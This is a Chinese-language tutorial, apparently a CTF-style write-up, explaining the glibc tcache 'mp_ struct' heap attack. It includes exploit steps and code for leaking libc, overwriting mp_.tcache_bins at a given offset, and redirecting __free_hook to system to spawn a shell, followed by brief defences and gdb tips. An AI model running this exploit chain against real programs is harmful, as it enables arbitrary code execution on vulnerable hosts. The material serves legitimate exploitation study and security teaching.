tcache攻击之mp_结构体攻击
字数 1392 2025-08-22 12:23:00
Tcache攻击之mp_结构体攻击详解
1. 攻击原理概述
mp_结构体攻击是一种针对glibc堆管理机制的利用技术,核心在于修改mp_.tcache_bins的值,使得本不应进入tcache bin的大chunk能够被放入tcache,从而开展后续攻击。
关键机制:
- 当
mp_.tcache_bins足够大时,大chunk可以放入tcache bin - 大chunk的地址(链表头)会被存放在相邻的chunk中
- 如果相邻chunk可控,可以覆盖该地址为
free_hook等关键地址 - 通过写入
one_gadget或system等函数地址实现getshell
2. mp_结构体关键成员
mp_结构体是glibc中管理内存分配参数的全局变量,位于libc数据段。关键成员包括:
struct malloc_par {
// ...其他成员
size_t tcache_bins; // 控制哪些大小的chunk可以进入tcache
// ...其他成员
};
tcache_bins默认值为64,意味着只有大小在0x20-0x410的chunk可以进入tcache- 修改此值可以扩大tcache的适用范围
3. 攻击步骤详解
3.1 泄露libc基址
- 申请多个大chunk(大于tcache范围,如0x500)
- 释放其中一个chunk进入unsorted bin
- 重新申请该chunk,利用unsorted bin残留指针泄露main_arena地址
- 计算libc基址
add(0x500, b'a') # chunk 0
add(0x500, b'/bin/sh\x00') # chunk 1
add(0x500, b'b') # chunk 2
add(0x500, b'c') # chunk 3
add(0xa0, b'top') # chunk 4 (防止合并)
dele(2) # 释放chunk 2进入unsorted bin
add(0x500, b'z'*8) # 重新申请chunk 2,触发指针残留
show(5) # 泄露libc地址
3.2 定位并修改mp_结构体
- 计算mp_结构体地址:
mp = libc_base + 0x1ec280 + 0x500x1ec280是mp_结构体相对于libc的偏移+0x50是tcache_bins成员在结构体中的偏移
- 使用edit功能将
mp_.tcache_bins修改为666666
edit(p64(mp)) # 修改mp_.tcache_bins为666666
3.3 利用修改后的tcache机制
- 释放一个大chunk(如chunk 3),此时它会尝试进入tcache
- 由于
tcache_bins被扩大,大chunk可以进入tcache - 该chunk的地址会被存储在相邻chunk(通常是chunk 0)的特定位置
dele(3) # 释放chunk 3,其地址会被存储在chunk 0中
dele(0) # 释放chunk 0以便重新控制
3.4 劫持控制流
- 重新申请chunk 0,覆盖其内容为
free_hook地址 - 再申请chunk 3,将其内容覆盖为
system地址 - 此时调用
free实际会调用system
add(0x500, b'\x00'*0x68 + p64(free_hook)) # chunk 0
add(0x500, p64(system)) # chunk 3
3.5 触发shell
- 由于chunk 1中已写入
/bin/sh\x00 - 释放chunk 1会触发
system("/bin/sh")
dele(1) # 触发system("/bin/sh")
4. 关键点总结
- chunk大小选择:必须大于默认tcache范围(>0x410),通常选择0x500
- libc泄露:利用unsorted bin的指针残留特性
- mp_结构体定位:需要知道libc中mp_结构体和tcache_bins的偏移
- 地址存储机制:大chunk的tcache链表头会存储在相邻chunk中
- 控制流劫持:通过覆盖相邻chunk内容实现任意地址写
5. 防御措施
- 更新glibc版本,修复相关漏洞
- 使用堆保护机制如FORTIFY_SOURCE
- 限制对关键内存区域的写操作
- 实现堆隔离,防止关键数据结构被篡改
6. 实际调试技巧
- 使用gdb查看mp_结构体:
p mp_ x/20gx &mp_ - 检查tcache_bins值:
p mp_.tcache_bins - 跟踪chunk释放过程:
break _int_free - 检查free_hook状态:
p __free_hook
通过以上步骤和技巧,可以完整实现mp_结构体攻击,并深入理解其工作原理。